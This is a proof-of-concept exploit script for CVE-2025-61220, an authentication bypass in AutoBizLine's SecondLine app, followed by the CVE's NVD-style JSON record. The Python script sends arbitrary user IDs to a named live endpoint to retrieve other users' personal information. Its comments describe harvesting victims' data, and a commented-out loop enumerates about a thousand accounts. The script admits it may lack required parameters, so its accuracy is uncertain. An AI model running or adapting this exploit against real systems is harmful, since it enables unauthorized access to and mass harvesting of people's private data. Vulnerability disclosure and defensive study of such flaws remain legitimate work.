CVE-2025-61220

# CVE-2025-61220 PoC - AutoBizLine SecondLine Authentication Bypass # Vulnerability: Incomplete verification mechanism allowing impersonation # Affected endpoint: https://autobizline.com/secondline/user/get_user/ import requests TARGET_URL = "https://autobizline.com/secondline/user/get_user/" # Attack: Send request with manipulated user identifier to access other users' data # The authentication mechanism fails to properly verify the requester's identity def exploit(target_user_id): """ Exploit the incomplete verification mechanism in SecondLine app. By manipulating the user identifier parameter, an attacker can retrieve arbitrary user information without valid credentials. """ headers = { "User-Agent": "Mozilla/5.0 (compatible; SecondLine/1.2.91)", "Content-Type": "application/json", "Accept": "application/json" } # Construct payload with target user's identifier # The server fails to verify if the requester is authorized to access this user's data payload = { "user_id": target_user_id, # Additional parameters may be required depending on the API structure } try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[SUCCESS] Retrieved data for user {target_user_id}") print(response.json()) return response.json() else: print(f"[FAILED] Status code: {response.status_code}") return None except Exception as e: print(f"[ERROR] {e}") return None # Example usage: enumerate user IDs to harvest personal information if __name__ == "__main__": # Attempt to access victim user's data victim_user_id = 1 # Replace with target user ID exploit(victim_user_id) # Batch enumeration of user accounts # for uid in range(1, 1000): # exploit(uid)

{"cve": {"id": "CVE-2025-61220", "sourceIdentifier": "[email protected]", "published": "2025-10-21T16:15:38.777", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The incomplete verification mechanism in the AutoBizLine com.mysecondline.app 1.2.91 allows attackers to log in as other users and gain unauthorized access to their personal information."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "http://autobizline.com", "source": "[email protected]"}, {"url": "https://autobizline.com/secondline/user/get_user/", "source": "[email protected]"}, {"url": "https://github.com/syz913/CVE-reports/blob/main/CVE-2025-61220.md", "source": "[email protected]"}]}}